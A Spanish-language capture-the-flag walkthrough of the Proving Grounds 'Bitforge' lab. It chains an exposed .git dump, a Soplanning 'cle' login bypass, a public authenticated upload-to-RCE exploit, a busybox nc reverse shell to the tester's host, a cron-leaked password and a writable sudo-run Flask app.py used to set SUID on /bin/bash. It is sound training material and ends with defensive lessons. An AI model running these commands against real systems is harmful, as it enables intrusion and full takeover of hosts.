the_open_door
café
ESEN

Bitforge

Proving Grounds PracticeMediaLinux192.168.148.186

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#git-dump#information-disclosure#soplanning#auth-bypass#secured-key#file-upload#rce#credential-reuse#sudo-flask#python-hijack#oscp
TL;DR. El puerto 80 expone un .git/ completo; al volcarlo y leer su historia (dump de repositorio .git, secretos en el historial) recuperamos las credenciales de la base de datos. En MySQL, la tabla planning_user de Soplanning guarda el hash y la cle (clave secreta) del admin: Soplanning permite autenticarse con esa clave sin conocer la contraseña, así que entramos, fijamos una contraseña conocida y usamos el exploit de subida de fichero autenticada para RCE (subida de fichero a RCE) como www-data. Un mysqldump de un cron filtra la contraseña de jack (reutilización de credenciales); y jack puede ejecutar por sudo una app Flask cuyo app.py es escribible (script sudo escribible), lo que da root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. SSH, un Apache que redirige a bitforge.lab y una MySQL 8.

ping -c 1 192.168.148.186
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.148.186
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
nmap -p22,80,3306 -sCV 192.168.148.186 -oN targetedScan
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
80/tcp   open  http    Apache httpd
| http-git:
|   192.168.148.186:80/.git/
|     Git repository found!
|_    Last commit message: created .env to store the database configuration
|_http-title: Did not follow redirect to http://bitforge.lab/
3306/tcp open  mysql   MySQL 8.0.40-0ubuntu0.24.04.1

El http-title avisa de que el servidor redirige a http://bitforge.lab/, un nombre que nuestro sistema todavía no sabe resolver:

el navegador no encuentra bitforge.lab y responde Hmm. We're having trouble finding that site.

Lo añadimos a /etc/hosts:

echo '192.168.148.186 bitforge.lab' | sudo tee -a /etc/hosts

Un fuzzing de vhosts busca si esa misma IP sirve más sitios según el nombre que se pida en la cabecera Host::

wfuzz -L -u 'http://bitforge.lab' -H 'Host: FUZZ.bitforge.lab' \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hc 400

wfuzz descubre el subdominio plan tras 19966 peticiones, con una respuesta de 17084 caracteres frente al resto

Target: http://bitforge.lab/
Total requests: 19966

ID           Response   Lines    Word     Chars      Payload
000002117:   200        149 L    1034 W   17084 Ch   "plan"

De casi 20.000 candidatos solo sobrevive uno: plan, con una respuesta de 17084 caracteres que no se parece a la del comodín (por eso --hc 400 basta aquí para limpiar el ruido). Añadimos también plan.bitforge.lab al /etc/hosts, y ahí aparece el segundo sitio: un Simple Online Planning, con la versión escrita al lado del título. Ese número, 1.52.01, es el que marca el resto de la máquina.

plan.bitforge.lab sirve el login de Simple Online Planning v1.52.01

HTTP - TCP 80: repositorio .git expuesto

El propio nmap ya avisa: hay un .git/ servido por Apache. dirsearch lo confirma junto a un /login.php:

dirsearch -u http://bitforge.lab/ --exclude-status=404,403 -t 200
[00:57:39] 200 -    0B  - /.env
[00:57:39] 301 -  233B  - /.git  ->  http://bitforge.lab/.git/
[00:57:39] 200 -  553B  - /.git/
[00:57:39] 200 -   49B  - /.git/COMMIT_EDITMSG
[00:57:39] 200 -  150B  - /.git/config
[00:57:39] 200 -  770B  - /.git/logs/HEAD
[00:57:40] 200 -  502B  - /.git/objects/
...
[00:57:58] 200 -    2KB - /login.php
[00:58:06] 301 -  235B  - /static  ->  http://bitforge.lab/static/

Dos detalles que orientan el resto: el .git/ está entero (no solo el HEAD, también objects/, que es donde vive el contenido de los commits) y el /.env responde 0B, es decir, existe pero está vacío. Un .env vacío por web no significa que nunca tuviera nada: significa que hay que mirar la historia.

Dump del .git y secretos en el historial

Para reconstruir el repositorio usamos git-dumper (repo), que descarga los objetos del .git/ expuesto y rehace el árbol en local:

git clone https://github.com/arthaud/git-dumper
cd git-dumper
pip3 install -r requirements.txt --break-system-packages

git clone del repositorio de git-dumper y la instalación de sus dependencias con pip3

Requirement already satisfied: PySocks in /usr/lib/python3/dist-packages (from ...)
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from ...)
Requirement already satisfied: beautifulsoup4 in /usr/lib/python3/dist-packages (from ...)
...

Con la herramienta lista, volcamos el repositorio y revisamos su historia (dump de repositorio .git). El .env actual está vacío, pero un commit anterior borraba un db-config.php "por credenciales hardcodeadas": borrar un fichero en un commit posterior no lo saca del historial, así que esas credenciales siguen ahí (secretos en el historial):

python3 git_dumper.py http://bitforge.lab/ .
ls -la
cd .git && ls

git_dumper reconstruye el proyecto en local: un .env de 0 bytes, index.php, login.php y el directorio .git entero

total 84
-rw-r--r-- 1 root root     0 Feb 28 00:37 .env
drwxr-xr-x 7 root root  4096 Feb 28 00:37 .git
-rw-r--r-- 1 root root  1045 Feb 28 00:34 .gitignore
-rw-r--r-- 1 root root  1071 Feb 28 00:34 LICENSE
-rw-r--r-- 1 root root  2397 Feb 28 00:34 README.md
-rwxr-xr-x 1 root root 25287 Feb 28 00:34 git_dumper.py
-rw-r--r-- 1 root root  9110 Feb 28 00:37 index.php
-rw-r--r-- 1 root root  5440 Feb 28 00:37 login.php
-rw-r--r-- 1 root root    85 Feb 28 00:34 pyproject.toml
-rw-r--r-- 1 root root    55 Feb 28 00:34 requirements.txt
-rw-r--r-- 1 root root   721 Feb 28 00:34 setup.cfg

COMMIT_EDITMSG  HEAD  config  description  hooks  index  info  logs  objects  refs

El .env reconstruido llega igual de vacío que por web (0 bytes), pero el .git/ sí trae objects/ y logs/, que es donde vive la historia. Con eso ya se puede leer commit a commit:

git log -p

git log -p recupera db-config.php del historial con las credenciales de la BD

$dbHost   = 'localhost';
$dbName   = 'bitforge_customer_db';
$username = 'BitForgeAdmin';
$password = 'B1tForG3S0ftw4r3S0lutions';

Explotación

MySQL - TCP 3306: la tabla planning_user

Con BitForgeAdmin/B1tForG3S0ftw4r3S0lutions entramos a la MySQL expuesta:

mysql -u BitForgeAdmin -h 192.168.148.186 -p --skip-ssl
show databases;
use soplanning;

la conexión a MySQL como BitForgeAdmin lista cuatro bases, entre ellas bitforge_customer_db y soplanning

MySQL [(none)]> show databases;
+----------------------+
| Database             |
+----------------------+
| bitforge_customer_db |
| information_schema   |
| performance_schema   |
| soplanning           |
+----------------------+
4 rows in set (0.032 sec)

MySQL [(none)]> use soplanning;
Database changed

La base soplanning confirma el software que ya anunciaba el subdominio (Simple Online Planning). Sus trece tablas llevan el prefijo planning_, y la que interesa salta a la vista:

show tables;
select * from planning_user;

show tables lista las trece tablas planning_ y el select completo saca la fila ADM con su hash resaltado

+----------------------------+
| Tables_in_soplanning       |
+----------------------------+
| planning_audit             |
| planning_config            |
| planning_ferie             |
| planning_groupe            |
| planning_lieu              |
| planning_periode           |
| planning_projet            |
| planning_projet_user_tarif |
| planning_ressource         |
| planning_right_on_user     |
| planning_status            |
| planning_user              |
| planning_user_groupe       |
+----------------------------+
13 rows in set (0.034 sec)

El select * es tan ancho que resulta ilegible (la tabla pasa de veinte columnas), pero deja ver lo esencial: la fila ADM es la única con login y password, y existe una columna cle. Repetimos la consulta pidiendo solo esas tres:

select login,password,cle from planning_user;

La consulta a planning_user devuelve el hash y la cle del admin; el resto de filas tienen login y password a NULL

MySQL [soplanning]> select login,password,cle from planning_user;
+-------+------------------------------------------+----------------------------------+
| login | password                                 | cle                              |
+-------+------------------------------------------+----------------------------------+
| admin | 77ba9273d4bcfa9387ae8652377f4c189e5a47ee | dbee8fd60fd4244695084bd84a996882 |
| NULL  | NULL                                     | 181ba036234dcccd78a2c7f540928a0f |
| NULL  | NULL                                     | bdcf6ee6918de4347aa34b7b533119d9 |
| NULL  | NULL                                     | cb284acc53164275d8cbb61fb090daf8 |
| NULL  | NULL                                     | 2eb523102046905d137e264e1eda0a43 |
+-------+------------------------------------------+----------------------------------+
5 rows in set (0.031 sec)

Solo admin tiene login y contraseña; las otras cuatro filas son plantillas de usuario sin credenciales. Lo llamativo es que todas tienen cle, así que esa columna no es un resto de un usuario concreto sino parte del modelo de la aplicación. Merece la pena averiguar para qué la usa.

Soplanning: bypass de autenticación con la clave secreta (cle)

Soplanning es software libre, así que en vez de suponer qué hace con la cle se puede leer: el fichero www/process/login.php del repositorio oficial tiene, en la rama del login clásico, un segundo intento cuando el primero falla:

login.php de Soplanning en GitHub: si falla el login normal, compara la contraseña enviada contra la concatenación cle | password

} else {
    // classic login
    $pwd = $user->hashPassword($_POST['password']);
    if(!$user->db_load(array('login', '=', $_POST['login'], 'password', '=', $pwd))) {
        if(!$user->db_load(array('login', '=', $_POST['login']))){
            $_SESSION['message'] = 'erreur_bad_login';
            header('Location: ../index.php');
            exit;
        }
        $pwd2 = $user->cle . "|" . $user->password;
        if($_POST['password'] != $pwd2){
            $_SESSION['message'] = 'erreur_bad_login';
            header('Location: ../index.php');
            exit;
        }
    }

Ahí está el mecanismo completo, y es más concreto que "hay un login alternativo": si la contraseña normal no cuadra, la aplicación construye $pwd2 como cle + | + hash de la contraseña y compara el campo enviado contra esa cadena tal cual, sin hashearla. Es una vía pensada para enlaces de acceso directo, pero convierte los dos valores que acabamos de leer en la base de datos en una credencial válida: no hace falta romper el SHA-1, basta con enviarlo.

Interceptamos el POST del login con Burp y sustituimos el campo password por esa concatenación:

Petición POST a /www/process/login.php interceptada en Burp con password = cle|hash sha1

POST /www/process/login.php HTTP/1.1
Host: plan.bitforge.lab
Content-Type: application/x-www-form-urlencoded

login=admin&password=dbee8fd60fd4244695084bd84a996882|77ba9273d4bcfa9387ae8652377f4c189e5a47ee

Entramos como admin (ADM) sin conocer la contraseña. Como el exploit del siguiente paso sí pide una contraseña normal, desde Edit your profile le fijamos una conocida (admin):

Perfil de admin (ADM) en Soplanning ya autenticados: fijamos la contraseña a admin y guardamos

Alternativa: fabricar el hash y sustituirlo en la base de datos

El bypass con la cle no es la única puerta. Si en vez de esquivar la contraseña se prefiere cambiarla directamente en la base de datos (a la que ya tenemos acceso de escritura), hace falta el hash en el formato exacto que espera la aplicación. Y ahí está el matiz: no es un SHA-1 pelado.

hashPassword de Soplanning devuelve el sha1 de la contraseña rodeada por un carácter no ASCII a cada lado

public function hashPassword($password){
    return sha1("□" . $password . "□");
}

Los dos caracteres que envuelven la contraseña no son ASCII y el editor los pinta como un recuadro, así que un echo -n admin | sha1sum nunca va a coincidir. La forma fiable de obtener el valor correcto es dejar que lo calcule la propia aplicación: se clona el repositorio oficial, se comentan en config.inc las líneas que redirigen al instalador cuando no hay base de datos, y se escribe un test.php que llame a hashPassword.

git clone https://github.com/Worteks/soplanning
cd soplanning
nano config.inc     # comentar el bloque checkDBAccess / checkDatabaseVersion
nano test.php
<?php
define('BASE', 'www');
require BASE . '/../config.inc';
$password = "admin";

// generate the weirdass hash
$user = new User();
$hashedPassword = $user->hashPassword($password);

echo "The hash of '$password' is: $hashedPassword";
?>
php test.php

php test.php devuelve el hash de admin, df5b909019c9b1659e86e0d6bf8da81d6fa3499e

The hash of 'admin' is: df5b909019c9b1659e86e0d6bf8da81d6fa3499e

Con el hash correcto, un UPDATE sobre planning_user cambia la contraseña del usuario ADM:

UPDATE planning_user SET password = 'df5b909019c9b1659e86e0d6bf8da81d6fa3499e' WHERE user_id = 'ADM';

el UPDATE sobre planning_user afecta a una fila

MySQL [soplanning]> UPDATE planning_user SET password = 'df5b909019c9b1659e86e0d6bf8da81d6fa3499e' WHERE user_id = 'ADM';
Query OK, 1 row affected (0.034 sec)
Rows matched: 1  Changed: 1  Warnings: 0

A partir de ahí el login es el de toda la vida, admin:admin:

el login de Simple Online Planning con admin en los dos campos

el panel de SOPlanning 1.52.01 ya dentro, con la sesión admin (ADM) arriba a la derecha

Y hay un atajo al atajo: ni siquiera hace falta ejecutar el PHP, porque el repositorio oficial trae el hash de admin escrito en sus datos de demostración.

git clone https://github.com/Worteks/soplanning
cd soplanning
cat includes/demo_data.inc | grep -i pass

demo_data.inc del repositorio ya contiene el hash de admin, y el UPDATE devuelve 0 rows affected porque el valor ya estaba puesto

$userAdmin->password = 'df5b909019c9b1659e86e0d6bf8da81d6fa3499e';

MySQL [soplanning]> UPDATE planning_user SET password = 'df5b909019c9b1659e86e0d6bf8da81d6fa3499e' WHERE user_id = 'ADM';
Query OK, 0 rows affected (0.030 sec)
Rows matched: 1  Changed: 0  Warnings: 0

El 0 rows affected con Rows matched: 1 es la prueba de que el valor ya estaba puesto por el intento anterior: la fila existe y coincide, pero no hay nada que cambiar.

Soplanning 1.52.01: subida de fichero autenticada a RCE

Con el producto y la versión en la mano, buscamos exploit público (de la versión al exploit):

searchsploit 'soplanning'

searchsploit lista cuatro entradas de SOPlanning; la de la 1.52.01 es una RCE autenticada

 Exploit Title                                                             |  Path
--------------------------------------------------------------------------+---------------------------
SOPlanning 1.45 - 'by' SQL Injection                                       | php/webapps/48074.txt
SOPlanning 1.45 - 'users' SQL Injection                                    | php/webapps/48089.txt
SOPlanning 1.45 - Cross-Site Request Forgery (Add User)                    | php/webapps/48086.txt
SOPlanning 1.52.01 (Simple Online Planning Tool) - Remote Code Execution   | php/webapps/52082.py
  (RCE) (Authenticated)                                                    |

Las tres primeras son de la 1.45 y no aplican; la cuarta coincide con nuestra versión y es justo lo que teníamos: autenticada, que es la razón de haber necesitado el bypass anterior. La copiamos y la lanzamos (subida de fichero a RCE):

searchsploit -m php/webapps/52082.py
python3 52082.py -t http://plan.bitforge.lab/www/ -u admin -p admin

52082.py sube el fichero u62.php y ofrece una pseudo-shell donde id devuelve www-data

[+] Uploaded ==> File 'u62.php' was added to the task !
[+] Exploit completed.
Access webshell here: http://plan.bitforge.lab/www//upload/files/bdselx/u62.php?cmd=<command>
Do you want an interactive shell? (yes/no) yes
soplaning:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Tanto el nombre del .php como el directorio bajo upload/files/ son aleatorios en cada ejecución, así que no sirve de nada apuntarlos: hay que leerlos de la salida del exploit.

El exploit deja una webshell y ofrece una pseudo-shell interactiva, pero esa shell va comando a comando por HTTP. Para trabajar cómodos la cambiamos por una reverse shell real. Antes de lanzarla dejamos Penelope a la escucha en el 80 (un nc -nlvp 80 con rlwrap sirve igual):

penelope
(Penelope)> listeners add -p 80

Y desde la pseudo-shell disparamos la conexión de vuelta. Se usa busybox nc porque el nc del sistema suele venir sin la opción -e, mientras que el applet de busybox sí la trae:

busybox nc 192.168.45.159 80 -e bash

Penelope recibe la reverse shell desde BitForge en el puerto 80, la mejora a PTY con python3 y whoami devuelve www-data

[+] Listening for reverse shells on 0.0.0.0:80
[+] Got reverse shell from BitForge~192.168.148.186-Linux-x86_64 😍 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3! 💪
www-data@BitForge:/var/www/plan.bitforge.lab/public_html/www/upload/files/3mc80s$ whoami
www-data

Ejecución como www-data, y con PTY, que es lo que permite lo que viene después.

Pivote de usuarios

Contraseña filtrada por un cron (pspy)

Como www-data no hay nada obvio, así que toca mirar qué ocurre en la máquina con el tiempo: un proceso periódico (un cron) no aparece en un ps puntual porque vive unos milisegundos. Para verlos usamos pspy (repo), que no necesita ser root porque se limita a leer /proc. El binario no está en la máquina, así que lo servimos desde la nuestra:

# en el atacante
locate pspy64
cp /home/krmena/tools/pspy64 .
python3 -m http.server 3306

locate encuentra varias copias de pspy64, se copia una al directorio actual y se levanta el http.server en el 3306

/home/krmena/Downloads/pspy64
/home/krmena/tools/pspy64
/machines/late/content/pspy64
/machines/pandora/pspy64

Serving HTTP on 0.0.0.0 port 3306 (http://0.0.0.0:3306/) ...
# en la víctima
wget http://192.168.45.159:3306/pspy64
chmod +x pspy64
./pspy64

pspy 1.2.1 arranca en la víctima y empieza a listar procesos, entre ellos el busybox nc de nuestra propia reverse shell

pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
Config: Printing events (colored=true): processes=true | file-system-events=false
Draining file system events due to startup ...
done
2026/02/28 17:09:30 CMD: UID=33   PID=2424   | ./pspy64
2026/02/28 17:09:30 CMD: UID=33   PID=2307   | bash
2026/02/28 17:09:30 CMD: UID=33   PID=2306   | sh -c -- busybox nc 192.168.45.159 80 -e bash
2026/02/28 17:09:30 CMD: UID=33   PID=2264   | /bin/bash -i

La primera foto ya es didáctica: entre los procesos se ve nuestra propia intrusión (el busybox nc 192.168.45.159 80 -e bash y el bash -i), lo que confirma que pspy lee las líneas de comando completas de todo el sistema, no solo las nuestras. Al rato aparece lo que buscábamos: un cron que hace mysqldump con la contraseña en la propia línea de comandos, visible para cualquier proceso del sistema:

pspy capta el cron (UID=0) con mysqldump -u jack -p'j4cKF0rg3@445' soplanning volcando a /opt/backup

UID=0 ... /bin/sh -c mysqldump -u jack -p'j4cKF0rg3@445' soplanning >> /opt/backup/soplanning_dump.log

La contraseña j4cKF0rg3@445 sirve para el usuario jack (reutilización de credenciales):

su jack   # j4cKF0rg3@445

su jack acepta la contraseña filtrada por el cron y whoami devuelve jack

www-data@BitForge:/tmp$ su jack
Password:
jack@BitForge:/tmp$ whoami
jack

Local

cat local.txt && whoami && ip a && hostname

local.txt leída como el usuario jack en BitForge

b823a27526f050899c2533772fb45cf4
jack

Escalada de privilegios

sudo sobre una app Flask con app.py escribible

Lo primero como usuario nuevo es mirar qué le deja hacer sudo:

sudo -l
Matching Defaults entries for jack on bitforge:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, !env_reset

User jack may run the following commands on bitforge:
    (root) NOPASSWD: /usr/bin/flask_password_changer

Un único binario, como root y sin contraseña. No es un intérprete conocido de GTFOBins, así que hay que leer qué hace:

cat /usr/bin/flask_password_changer
#!/bin/bash
cd /opt/password_change_app
/usr/local/bin/flask run --host 127.0.0.1 --port 9000 --no-debug

Ahí está la grieta: el script no ejecuta nada peligroso por sí mismo, pero flask run importa el app.py del directorio al que acaba de entrar. Si ese fichero es escribible por nosotros, el código que se ejecuta como root lo ponemos nosotros. Lo comprobamos:

ls -l /opt/password_change_app
total 12
-rw-r--r-- 1 jack jack  182 Feb 28 17:18 app.py
drwxr-xr-x 2 root root 4096 Feb 28 17:18 __pycache__
drwxr-xr-x 2 jack jack 4096 Jan 16  2025 templates

app.py es de jack, así que se puede editar (script sudo escribible). Le insertamos un os.system que ponga el SUID a /bin/bash y lanzamos el script por sudo:

nano /opt/password_change_app/app.py
cat /opt/password_change_app/app.py
from flask import Flask, render_template
import os

os.system("chmod u+s /bin/bash")

app = Flask(__name__)

@app.route("/")
def home():
    return render_template("index.html")
sudo /usr/bin/flask_password_changer
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://127.0.0.1:9000
Press CTRL+C to quit

El servidor arranca (y se queda ahí, se corta con Ctrl+C), pero el daño ya está hecho: el os.system se ejecutó como root en el momento de importar el módulo, antes de servir nada. Se comprueba en los permisos del binario:

ls -l /bin/bash
bash -p
whoami

sudo ejecuta flask_password_changer, que importa el app.py escribible por jack; el SUID queda puesto en /bin/bash y bash -p da root

-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash
bash-5.2# whoami
root

La s en -rwsr-xr-x es el bit SUID: el binario se ejecuta con el propietario (root), no con quien lo lanza. Y bash -p conserva ese euid=0 heredado en lugar de descartarlo, que es lo que bash hace por defecto al arrancar, dándonos root.

Proof

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root en BitForge

cde9a2fc9485dddf29585529f596b4dc
root

Cadena de ataque

HTTP 80  --  .git/ expuesto -> git-dumper -> git log -p
        │  historial: db-config.php -> BitForgeAdmin : B1tForG3S0ftw4r3S0lutions
        ▼
MySQL 3306  --  planning_user: admin cle=dbee8fd6...
        │  Soplanning: login con la cle (bypass) -> fijar password=admin
        │  Soplanning 1.52.01: subida autenticada (52082.py) -> webshell
        ▼
www-data
        │  pspy -> cron mysqldump -p'j4cKF0rg3@445' -> su jack
        ▼
jack  (local.txt)
        │  sudo flask_password_changer -> app.py escribible -> chmod u+s /bin/bash
        ▼
root  (proof.txt)

Lecciones aprendidas

  • Un .git/ servido es tu código y tu historia. Aunque el .env estuviera vacío, git log -p resucitó un db-config.php con credenciales borradas. Borrar un secreto en un commit posterior NO lo elimina del historial; hay que rotarlo y limpiar el árbol.
  • Una clave de "login seguro" es una contraseña. La cle de Soplanning permitía entrar sin conocer la contraseña; guardarla en claro en la base de datos la vuelve tan sensible como el propio hash.
  • No pases contraseñas por la línea de comandos. El mysqldump -p'j4cKF0rg3@445' del cron era visible para cualquier proceso; ~/.my.cnf o variables de entorno lo evitan.
  • Un sudo sobre un intérprete que importa código escribible es root. Si Flask importa un app.py que el usuario puede editar y el script corre como root, controla root. El código ejecutado por privilegio debe ser solo-escritura para administradores.
Cheatsheet de comandos 15 comandos

Repaso rápido